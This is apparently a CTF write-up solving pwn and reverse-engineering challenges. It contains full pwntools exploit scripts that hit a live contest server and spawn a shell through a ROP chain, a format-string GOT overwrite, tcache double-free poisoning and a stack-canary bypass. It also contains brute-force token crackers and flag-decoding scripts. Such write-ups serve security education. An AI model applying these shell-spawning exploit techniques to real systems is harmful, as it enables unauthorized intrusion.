Rating:
##
## 83 Pwn / Silk Road I
Brute-force crack the ID, secret must be numeric string so it does not take very long to crack
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
bool sub_40140A(char *secret)
{
  size_t v1; // r12
  size_t v2; // r12
  bool ret; // al
  int v4; // [rsp+1Ch] [rbp-34h]
  int v5; // [rsp+34h] [rbp-1Ch]
  int v6; // [rsp+38h] [rbp-18h]
  int sint; // [rsp+3Ch] [rbp-14h]
  sint = strtol(secret, 0LL, 10);
  ret = 0;
  if ( sint % (strlen(secret) + 2) || secret[4] != '1' )
    return ret;
  v6 = sint / 100000;
  v5 = sint % 10000;
  if ( 10 * (sint % 10000 / 1000) + sint % 10000 % 100 / 10 - (10 * (sint / 100000 / 1000) + sint / 100000 % 10) != 1
    || 10 * (v6 / 100 % 10) + v6 / 10 % 10 - 2 * (10 * (v5 % 100 / 10) + v5 % 1000 / 100) != 8 )
  {
    return ret;
  }
  v4 = 10 * (v5 / 100 % 10) + v5 % 10;
  if ( (10 * (v6 % 10) + v6 / 100 % 10) / v4 != 3 || (10 * (v6 % 10) + v6 / 100 % 10) % v4 )
    return ret;
  v1 = strlen(secret) + 2;
  v2 = (strlen(secret) + 2) * v1;
  if ( sint % (v5 * v6) == v2 * (strlen(secret) + 2) + 6 )
    ret = 1;
  return ret;
}
char buf[0x100];
int main(int argc, char const *argv[])
{
  for (size_t i = 0; i < 0x100000000; ++i)
  {
    snprintf(buf, sizeof(buf), "%d", (int)i);
    if (sub_40140A(buf))
      puts(buf);//790317143
  }
  return 0;
}
```
Nickname is not hard to get so I will skip it. Then there is a stack-overflow, which is easy.
```python
from pwn import *
g_local=0
p = ELF("./silkroad.elf")
context(log_level='debug', arch='amd64')
e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:
	sh = process("./silkroad.elf")
	gdb.attach(sh)
else:
	sh = remote("82.196.10.106", 58399)
def prepare():
	sh.recvuntil("ID: ")
	sh.send("790317143")
	sh.recvuntil("nick: ")
	sh.send("DreadPirateRobertsXiz\x00")
	sh.recvuntil("delete evidince and run Silkroad!\n")
prepare()
sh.sendline("A" * (64+8) + p64(0x401bab) + p64(p.got["puts"]) + p64(p.plt["puts"]) + p64(0x401AFD))
leak = sh.recvuntil('\n')
libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]
print hex(libc_addr)
prepare()
sh.sendline("A" * (64+8) + p64(0x401B4B) + p64(0x401bab) + \
	p64(libc_addr + next(e.search("/bin/sh"))) + p64(libc_addr + e.symbols["system"]) + p64(0))
sh.interactive()
```
## 171 Pwn / Silk Road II
Since many `strtol` is used, so I would guess this token is also numeric and it is also can be brute-force cracked, but this time I will load the ELF executable as a shared library and call the verification function directly.
```c
#include <stdio.h>
#include <dlfcn.h>
#include <memory.h>
typedef int (*func_t)(char *);
char buf[0x100];
char key[0x100];
//to clear the stack of verification function, 
//because use of `strncpy` will cause uninitialized variable access (no null terminate)
//which causes unexpected results if `strcat` is called to that string later
void clear_stack()
{
	char buf[0x1000];
	memset(buf, 0, sizeof(buf));
}
int main(int argc, char const *argv[])
{
	char* addr = *(char**)dlopen("./silkroad_2.elf", RTLD_NOW | RTLD_GLOBAL);
	func_t f = (func_t)(addr + 0x1C06);
	for (int i = 0; i < 0x3b9aca00; ++i)
	{
		sprintf(buf, "%.9d", i);
		for (int i = 0; i < 4; ++i)
		{
			key[i] = buf[i];
		}
		for (int i = 0; i < 5; ++i)
		{
			key[6 + i] = buf[4 + i];
		}
		key[4] = '1';
		key[5] = '1';//4,5 must be length, which is always 11
		key[11] = 0;
		clear_stack();
		if (f(key) == 1)
			puts(buf);
	}
	return 0;
}
```
The vulnerability is format string vulnerability, when error message is printed if an invalid command is given. We can rewrite got table entry of `printf`, then hijack the `rip` and get shell using `one_gadget`
```python
from pwn import *
g_local=1
context(log_level='debug', arch='amd64')
e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:
	sh = process(["./silkroad_2.elf", "flag{test}"])
	gdb.attach(sh)
else:
	sh = remote("82.196.10.106", 47299)
def hn(pos, val):
	assert val < 0x10000
	if val == 0:
		return "%" + str(pos) + "$hn"
	else:
		return "%" + str(val) + "c%" + str(pos) + "$hn"
def cont_shoot(poses, vals, prev_size = 0):
	assert len(poses) == len(vals)
	size = len(poses)
	ret = ""
	i = 0
	cur_size = prev_size
	next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000
	while i < size:
		assert next_overflow >= cur_size
		num = next_overflow - cur_size + vals[i]
		if num < 0x10000:
			ret += hn(poses[i], num)
			next_overflow += 0x10000
		else:
			num = vals[i] - (cur_size - (next_overflow - 0x10000))
			assert num >= 0
			ret += hn(poses[i], num)
		cur_size += num
		i += 1
	return ret
sh.recvuntil("Enter your token: ")
sh.send("98831114236")
sh.recvuntil(">> ")
sh.sendline("1")
sh.recvuntil("admin: ")
def format_exp(payload):
	sh.sendline(payload)
	sh.recvuntil("invalid: \\")
	ret = sh.recvuntil('\n')
	sh.recvuntil("admin: ")
	return ret[:-1]
libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0
print hex(libc_addr)
#mh = libc_addr + e.symbols["__malloc_hook"]
#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))
#sh.sendline("\\q" + cyclic(128))
#library function rewrites our input
prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x98d
print hex(prog_addr)
pg = prog_addr + 0x3f50 #printf got table entry
sys = libc_addr + 0x10a38c#e.symbols["system"]
format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4))
sh.sendline('\\' + cont_shoot([25, 26, 27], \
	[sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11))
sh.interactive()
```
## 182 Pwn / Silk Road III
The vulnerability is exactly same, but the verification is different.
```c
signed __int64 __fastcall sub_1FCA(char *input)
{
  int v1; // eax
  int v2; // ST1C_4
  unsigned __int64 v3; // rbx
  size_t v4; // r12
  size_t v5; // r12
  char v6; // bl
  int v7; // ebx
  int v8; // ebx
  size_t v9; // rax
  signed __int64 result; // rax
  signed int i; // [rsp+14h] [rbp-4Ch]
  signed int j; // [rsp+14h] [rbp-4Ch]
  signed int k; // [rsp+14h] [rbp-4Ch]
  signed int l; // [rsp+14h] [rbp-4Ch]
  char _1337[5]; // [rsp+22h] [rbp-3Eh]
  char v16[6]; // [rsp+27h] [rbp-39h]
  char v17[6]; // [rsp+2Dh] [rbp-33h]
  char haystack[6]; // [rsp+33h] [rbp-2Dh]
  char v19[15]; // [rsp+39h] [rbp-27h]
  unsigned __int64 v20; // [rsp+48h] [rbp-18h]
  v20 = __readfsqword(0x28u);
  haystack[5] = 0;
  for ( i = 0; i <= 4; ++i )
    haystack[i] = input[strlen(input) - 5 + i];
  if ( !strstr(haystack, "1337") )              // 14:19
    goto LABEL_23; //must contain 1337, and be either X1337 or 1337X
  v1 = strtol(haystack, 0LL, 10);
  v2 = 100 * (input[13] - '0') + 1000 * (input[6] - '0') + input[15] - '0';
  v3 = v1;
  v4 = strlen(input);
  v5 = strlen(input) * v4;
  if ( v3 % (strlen(input) * v5) != v2 ) 
    goto LABEL_23;// 1337XorX1337 % len**3 must have ten digit being 0
  for ( j = 0; j <= 4; ++j )
  {
    v16[j] = input[j];
    v17[j] = input[strlen(input) - 10 + j];
  }
  v16[5] = 0;
  v17[5] = 0;
  for ( k = 0; k <= 14; ++k )
    v19[k] = input[k];
  v19[14] = 0;
  for ( l = 0; l <= 3; ++l )
    _1337[l] = haystack[l + 1];
  _1337[4] = 0;
  if ( strstr(v19, _1337)
    && (v6 = *input, v6 == input[strlen(input) - 8])// [0] == [11]
    && (v7 = input[strlen(input) - 2] - 48,
        v8 = input[strlen(input) - 3]
           - 48                                 // [17] + [16] + [15] + 1 == [1]
           + v7,
        v8 + input[strlen(input) - 4] - 48 + 1 == input[1] - 48)
    && (v9 = strlen(input), v9 == 19 * ((unsigned __int64)(0xD79435E50D79435FLL * (unsigned __int128)v9 >> 64) >> 4)) )// len must == 19
  {
    result = 1LL;
  }
  else
  {
LABEL_23:
    result = 0xFFFFFFFFLL;
  }
  return result;
}
```
Actually the restriction is easier to bypass than second version, `X813373XXXXXX931337` can pass the check.
```python
from pwn import *
g_local=0
context(log_level='debug', arch='amd64')
e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:
	sh = process(["./ross.elf", "flag{test}"])
	gdb.attach(sh)
else:
	sh = remote("82.196.10.106", 31337)
def hn(pos, val):
	assert val < 0x10000
	if val == 0:
		return "%" + str(pos) + "$hn"
	else:
		return "%" + str(val) + "c%" + str(pos) + "$hn"
def cont_shoot(poses, vals, prev_size = 0):
	assert len(poses) == len(vals)
	size = len(poses)
	ret = ""
	i = 0
	cur_size = prev_size
	next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000
	while i < size:
		assert next_overflow >= cur_size
		num = next_overflow - cur_size + vals[i]
		if num < 0x10000:
			ret += hn(poses[i], num)
			next_overflow += 0x10000
		else:
			num = vals[i] - (cur_size - (next_overflow - 0x10000))
			assert num >= 0
			ret += hn(poses[i], num)
		cur_size += num
		i += 1
	return ret
sh.recvuntil("Enter your token: ")
sh.send("X813373XXXXXX931337")
sh.recvuntil("your nick: ")
sh.sendline("admin")
sh.recvuntil(">> ")
sh.sendline("1")
sh.recvuntil("admin: ")
def format_exp(payload):
	sh.sendline(payload)
	sh.recvuntil("invalid: \\")
	ret = sh.recvuntil('\n')
	sh.recvuntil("admin: ")
	return ret[:-1]
libc_addr = int(format_exp("\\%2$p")[2:], 16) - 0x3ed8c0
print hex(libc_addr)
#mh = libc_addr + e.symbols["__malloc_hook"]
#format_exp('\\' + cont_shoot([mh, mh+2, mh+4], []))
#sh.sendline("\\q" + cyclic(128))
#library function rewrites our input
prog_addr = int(format_exp("\\%9$p")[2:], 16) - 0x1E9D - 5
print hex(prog_addr)
pg = prog_addr + 0x5F68 #printf got table entry
sys = libc_addr + 0x10a38c#e.symbols["system"]
format_exp("\\" + cyclic(7) + 'A' * (8 * 8) + p64(0) * 2 + p64(pg) + p64(pg+2) + p64(pg+4))
sh.sendline('\\' + cont_shoot([25, 26, 27], \
	[sys & 0xffff, (sys >> 0x10) & 0xffff, (sys >> 0x20)], 0x11))
sh.interactive()
```
The exploit is same, except some offset has been changed.
## 116 Pwn / pwn 101
Vulnerability is off-by-one, we can use this to extend the chunk size of unsorted bin to create overlap to leak the `libc` address; then we can get the same chunk twice in 2 different indices, so we can use double free to poison `tcache bins` and rewrite `__free_hook`.
```python
from pwn import *
from struct import unpack as up
g_local=0
#p = ELF("./pwn101.elf")
context(log_level='debug', arch='amd64')
#e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:
	sh = process("./pwn101.elf")
	gdb.attach(sh)
else:
	sh = remote("82.196.10.106", 29099)
sh.recvuntil("> ")
def add(length, name, description="20192019"):
	sh.sendline("1")
	sh.recvuntil("Description Length: ")
	sh.sendline(str(length))
	sh.recvuntil("Phone Number: ")
	sh.sendline("2019")
	sh.recvuntil("Name: ")
	sh.send(name)
	sh.recvuntil("Description: ")
	sh.send(description)
	sh.recvuntil("> ")
def delete(idx):
	sh.sendline("3")
	sh.recvuntil("Index: ")
	sh.sendline(str(idx))
	sh.recvuntil("> ")
def show(idx):
	sh.sendline("2")
	sh.recvuntil("Index: ")
	sh.sendline(str(idx))
	sh.recvuntil("Description : ")
	ret = sh.recvuntil('\n')
	sh.recvuntil("> ")
	return ret[:-1]
for i in xrange(7):
	add(0x200, 'name', 'fill tcache')
add(0x200, 'ab') #7
for i in xrange(7):
	delete(i)
add(0x58, 'c', 'A' * 0x50 + p64(0x1f0)) #0
add(0x100, 'pad') #1
delete(7)
add(0x78, "offbyone", 'a' * 0x78 + '\xf1') #2
#0x191 -> 0x1f1
add(0x180, "leak") #3
libc_addr = u64(show(0) + '\x00\x00') - 0x3ebca0
print hex(libc_addr)
#0x7fe5e1b31ca0 on server, so 2.27
add(0x50, '22', "/bin/sh") #4
delete(4)
delete(0)
add(0x50, 'consume', p64(libc_addr + 0x3ed8e8))#e.symbols["__free_hook"]))
add(0x50, 'consume')
add(0x50, '/bin/sh\x00', p64(libc_addr + 0x4f440))#e.symbols["system"])) #5
sh.sendline("3")
sh.recvuntil("Index: ")
sh.sendline(str(5))
sh.interactive()
```
## 104 Pwn / Precise average
The stack overflow is obvious, but we need to find ways to bypass canary protection. The key is to send `"-"` as the floating point number, which is invalid and `scanf` will return negative, but it will not rewrite the pointer passed as argument and leave it as it is. By using this technique canary will not be rewritten.
```python
from pwn import *
from struct import unpack as up
g_local=0
p = ELF("./precise_avg.elf")
context(log_level='debug', arch='amd64')
e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:
	sh = process("./precise_avg.elf")
	gdb.attach(sh)
else:
	sh = remote("82.196.10.106", 12499)
pop_rdi = p64(0x4009c3)
main = p64(0x4007D0)
def exploit(rop):
	sh.recvuntil("Number of values: ")
	length = 35 + len(rop)/8
	sh.sendline(str(length))
	for i in xrange(35):
		sh.sendline("-")
	for i in xrange(0, len(rop), 8):
		sh.sendline("%.800f" % up("<d", rop[i:i+8])[0])
	sh.recvuntil("Result = ")
	sh.recvuntil('\n')
rop = pop_rdi
rop += p64(p.got["puts"])
rop += p64(p.plt["puts"])
rop += main
exploit(rop)
leak = sh.recvuntil('\n')
libc_addr = u64(leak[:-1] + '\x00\x00') - e.symbols["puts"]
print hex(libc_addr)
rop = p64(0x400958) #retn
rop += pop_rdi
rop += p64(libc_addr + next(e.search("/bin/sh")))
rop += p64(libc_addr + e.symbols["system"])
rop += p64(0)
exploit(rop)
sh.interactive()
```
## 287 Reverse / Mind Space
This is a C++ reverse engineering challenge. Fortunately the optimization is not enabled, otherwise many C++ built-in functions would be "inlined" and the codes would be very messy. The key is to recognize `std::vector`, `std::string` and `angles` structure.
```c
struct angles
{
  _QWORD field_0;
  _QWORD field_8;
};//actually they are `double` type
struct vector
{
  angles *pointer;
  angles *end;
  angles *real_end;
};
struct string
{
  char *pointer;
  size_t len;
  size_t maxlen_data;
  __int64 field_18;
};
```
I would not detail the C++ implementation here, if you want to know just search online or write some test codes with STL and reverse them.
Here are some critical codes:
```c
while ( !std::basic_ios<char,std::char_traits<char>>::eof(&input_stream_256) )
{
  v17 = 0LL;
  std::getline(input_stream, &flag;;
  v17 = string::find(&flag, ", ", 0LL);
  string::substr(&v14, &flag, 0LL, v17);
  string::operator_assign(&a1a, &v14);
  string::string_des(&v14);
  string::erase(&flag, 0LL, v17 + 1);
  sndnum = string::strtod((__int64)&flag, 0LL);
  a3 = sndnum - 80.0 - (double)i;
  fstnum = string::strtod((__int64)&a1a, 0LL);
  vector::push_back_withcheck(&a2, (double)i++ + fstnum - 80.0, a3);
  // fstnum is modified and inserted as field_8, and sndnum is field_0
}
```
```c
__int64 __fastcall encode(string *a1, double a2)
{
  double v2; // ST00_8
  bool v4; // [rsp+17h] [rbp-19h]
  char v5; // [rsp+18h] [rbp-18h]
  int v6; // [rsp+1Ch] [rbp-14h]
  v2 = a2;
  v6 = 2 * (signed int)round(100000.0 * a2);
  if ( v2 < 0.0 )
    v6 = ~v6;
  string::string(a1);
  do
  {
    v4 = v6 >> 5 > 0;
    v5 = v6 & 0x1F;
    if ( v6 >> 5 > 0 )
      v5 |= 0x20u; // a little bit similar to uleb128 in android
    string::operator_add(a1, (unsigned int)(char)(v5 + 0x3F));
    v6 >>= 5;
  }
  while ( v4 );
  return (__int64)a1;
}
```
This is the solving script
```python
def read_flagenc():
	f = open("./flag.txt.enc", "rb")
	ret = f.read()
	f.close()
	return map(ord, ret[:-1])
def recover_ints(data):
	ret = []
	i = 0
	off = 0
	for c in data:
		n = c - 0x3f
		if (n & 0x20) == 0:
			i += n << (5 * off)
			ret.append(i)
			i = 0
			off = 0
		else:
			n -= 0x20
			assert n < 0x20
			i += n << (5 * off)
			off += 1
	return ret
arr = recover_ints(read_flagenc())
def back_to_double(i):
	if i % 1000 == 999: # if it is originally negative
		i = -i - 1
	assert i % 1000 == 0 # % 2 == 0
	return i / 2 / 100000.0
arr = map(back_to_double, arr)
last0 = 0.0
last1 = 0.0
for i in xrange(0, len(arr), 2):
	arr[i] += last1
	arr[i+1] += last0
	last0 = arr[i+1]
	last1 = arr[i]
	#arr[i],arr[i+1] = arr[i+1],arr[i]
for i in xrange(0, len(arr), 2):
	arr[i] = arr[i] + 80.0 - (i/2 + 1)
	arr[i+1] = arr[i+1] + 80.0 + (i/2 + 1)
print arr
print "".join(map(lambda x : chr(int(x)), arr))
out = ""
for i in xrange(0, len(arr), 2):
	out += "%.2f, %.2f\n" % (arr[i], arr[i+1])
    # we know it is %.2f because it is the results are too close to it
    # (something like xx.xx9999999 or xx.xx00000001)
out = out[:-1]
f = open("flag.txt", 'wb')
f.write(out)
f.close()
```
Then we have a `flag.txt`, but how do we get the flag from it? After asking for help from organizers (well, they told me this so it was allowed :D), we knew that for a floating point number `aa.bb`, `bb` is index `aa` is `ascii` value, so we can get the flag.
## 195 Reverse / Archimedes
This is the critical code that generate encrypted flag.
```c
while ( 1 )
{
  v23 = i;
  if ( v23 >= string::size(&input) )
    break;
  v24 = sub_5555555577A7(0x10u, 8);
  string::substr((__int64)&v52, (__int64)&v31, 2 * i, 2LL);
  stringstream::stringstream(&v26, &v52, v24);
  string::destructor((__int64)&v52);
  std::istream::operator>>(&v26, &v28);
  input_char = (_BYTE *)string::operator_index(&input, i);
  string::operator_add(&v30, (unsigned int)(char)(v28 ^ *input_char ^ 0x8F ^ i++));
  basic_stringstream::destructor(&v26);
}
```
This is basically `xor`, but `v28` is not dependent on current time instead of input flag, so we need to brute-force crack the `rand() % 0xffff` that produces the byte sequence that gives the correct flag after `xor` operation.
But how to get that byte sequence given a particular `unsigned short` value? My approach is to patch the binary. Firstly, let it accept the second argument as the value that should have been generated by `rand()`. This can be done by changing the assembly. However, we need `atoi` function but there is no such function imported in this binary. The way to solve this is to change the `"srand"` or `"rand"` string in symbol string table to `"atoi"`, so that the function becomes `atoi`. Also, we need to cancel the `xor` operation such that the byte sequence being outputted into file is not encrypted flag but the byte sequence generated from the second argument.
We get the flag using following script
```python
from os import system
def read_file(filename):
	f = open(filename, "rb")
	ret = f.read()
	f.close()
	return ret
for x in xrange(1,0xffff):
	system("./archimedes2 flagenc %d" % x)
	key = read_file("./flagenc.enc")
	enc = read_file("./flag.enc")
	flag = ""
	for i in xrange(0x2f):
		flag += chr(ord(key[i]) ^ ord(enc[i]) ^ 0x8f ^ i)
	print flag
```
However, this is slow, it might take much time to traverse all 65534 cases, but fortunately the flag comes up very soon.
Also here is the [patched program](files/archimedes2).